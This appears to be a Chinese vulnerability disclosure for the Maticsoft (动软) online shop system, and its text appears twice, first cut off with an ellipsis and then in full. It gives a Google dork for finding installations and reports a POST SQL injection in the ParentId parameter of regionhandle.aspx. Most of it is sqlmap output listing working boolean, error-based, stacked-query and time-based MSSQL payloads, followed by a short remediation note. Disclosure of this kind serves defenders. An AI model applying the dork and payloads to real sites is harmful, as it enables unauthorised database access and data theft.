动软商城系统是一套集CMS资讯+独立商城+微信商城+手机APP+SNS用户社区于一体的全新电商营销解决方案。主要为企业树立企业品牌形象,实现独立网络推广,充分利用网站SEO、微博、APP,微信等移动客户端多渠道网络营销手段,为您搭建一个全新的营销渠道。 官方主页: http://www.maticsoft.com/  Google Dork:MaticsoftFK  ### 0x02 漏洞细节 通用注入 http://shop1.maticsoft.cn/regionhandle.aspx 页面中 ParentId 过滤不严,造成post注入 sqlmap过程: ``` Place: POST Parameter: ParentId Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: Action=GetChildNode&ParentId=214 AND 2697=2697 Vector: AND [INFERENCE] Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: Action=GetChildNode&ParentId=214 AND 7244=CONVERT(INT,(CHAR(58)+CHAR(104)+CHAR(102)+CHAR(101)+CHAR(58)+(SELECT (CASE WHEN (7244=7244) THEN CHAR(49) ELSE CHAR(48)...
动软商城系统是一套集CMS资讯+独立商城+微信商城+手机APP+SNS用户社区于一体的全新电商营销解决方案。主要为企业树立企业品牌形象,实现独立网络推广,充分利用网站SEO、微博、APP,微信等移动客户端多渠道网络营销手段,为您搭建一个全新的营销渠道。 官方主页: http://www.maticsoft.com/  Google Dork:MaticsoftFK  ### 0x02 漏洞细节 通用注入 http://shop1.maticsoft.cn/regionhandle.aspx 页面中 ParentId 过滤不严,造成post注入 sqlmap过程: ``` Place: POST Parameter: ParentId Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: Action=GetChildNode&ParentId=214 AND 2697=2697 Vector: AND [INFERENCE] Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: Action=GetChildNode&ParentId=214 AND 7244=CONVERT(INT,(CHAR(58)+CHAR(104)+CHAR(102)+CHAR(101)+CHAR(58)+(SELECT (CASE WHEN (7244=7244) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(120)+CHAR(114)+CHAR(121)+CHAR(58))) Vector: AND [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]')) Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: Action=GetChildNode&ParentId=214; WAITFOR DELAY '0:0:5';-- Vector: ; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]';-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: Action=GetChildNode&ParentId=214 WAITFOR DELAY '0:0:5'-- Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'-- ``` 示例:   ### 0x03 修复方案 1、过滤 regionhandle.aspx 文件 ParentId 参数 2、使用加速乐等防护产品